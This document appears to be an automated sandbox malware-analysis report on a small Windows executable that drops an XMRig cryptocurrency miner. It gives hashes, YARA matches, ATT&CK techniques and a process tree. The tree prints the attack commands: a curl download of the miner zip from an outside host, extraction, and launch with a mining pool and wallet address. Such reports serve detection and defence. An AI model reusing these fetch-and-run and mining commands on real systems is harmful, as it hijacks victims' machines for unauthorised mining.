xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
130s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (5).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral9/files/0x0007000000023266-21.dat	family_xmrig
behavioral9/files/0x0007000000023266-21.dat	xmrig
behavioral9/memory/3892-26-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-27-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-30-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-32-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-33-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-34-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-35-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-37-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig
behavioral9/memory/3892-36-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	test - Copy (5).exe

Executes dropped EXE 1 IoCs

pid	Process
3892	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3892	xmrig.exe
Token: SeLockMemoryPrivilege	3892	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3892	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 1736	3120	test - Copy (5).exe	90
PID 3120 wrote to memory of 1736	3120	test - Copy (5).exe	90
PID 1736 wrote to memory of 3368	1736	cmd.exe	92
PID 1736 wrote to memory of 3368	1736	cmd.exe	92
PID 1736 wrote to memory of 2068	1736	cmd.exe	105
PID 1736 wrote to memory of 2068	1736	cmd.exe	105
PID 1736 wrote to memory of 3892	1736	cmd.exe	106
PID 1736 wrote to memory of 3892	1736	cmd.exe	106

C:\Users\Admin\AppData\Local\Temp\test - Copy (5).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (5).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cFXY4Wf4.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:3368
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:2068
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\cFXY4Wf4.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
1.6MB

MD5
9f6144658bcc712d5f59dbb853c864e7

SHA1
dd101113880575efb9cc69b14676253195fa646d

SHA256
4a102f6d390c5d86ab5a6341bddd7af18d382bd3657520e7f53d8cd80b9ab1b1

SHA512
34b34dc7bde0749c35e0f6c6293351f1a7fae1437357cb2e76f675a5d115d649630c2cec258daed7cda2a73f64ebe83e2bda10b54a1e3ee7c23162d6ff4e1308

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
1.8MB

MD5
02b7006221aadc09240553ee2f687fef

SHA1
12d949af6473d1da9fe2a72f636a74e7d42f5879

SHA256
57e30e2c36a29a32decbcb7fbcf7a8d226144d0abcbe082afe306c16324c52ef

SHA512
778963b4566343d0dade4580b89d021773721675ee5b0688543af73b6891e2fc73be7d7ac68feec36b5fa91d4af5728f4a0791786c34a891947911eb81a4e648

Download Submit
memory/3120-0-0x0000000000D90000-0x0000000000D98000-memory.dmp

Filesize
32KB

Download
memory/3120-5-0x00007FFA4D9D0000-0x00007FFA4E491000-memory.dmp

Filesize
10.8MB

Download
memory/3120-7-0x00007FFA4D9D0000-0x00007FFA4E491000-memory.dmp

Filesize
10.8MB

Download
memory/3120-24-0x00007FFA4D9D0000-0x00007FFA4E491000-memory.dmp

Filesize
10.8MB

Download
memory/3892-27-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-25-0x000001E77B4B0000-0x000001E77B4D0000-memory.dmp

Filesize
128KB

Download
memory/3892-26-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-23-0x000001E77B460000-0x000001E77B480000-memory.dmp

Filesize
128KB

Download
memory/3892-28-0x000001E77B4D0000-0x000001E77B4F0000-memory.dmp

Filesize
128KB

Download
memory/3892-29-0x000001E77CDA0000-0x000001E77CDC0000-memory.dmp

Filesize
128KB

Download
memory/3892-30-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-32-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-33-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-34-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-35-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-37-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download
memory/3892-36-0x00007FF60F340000-0x00007FF60FE44000-memory.dmp

Filesize
11.0MB

Download

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Analysis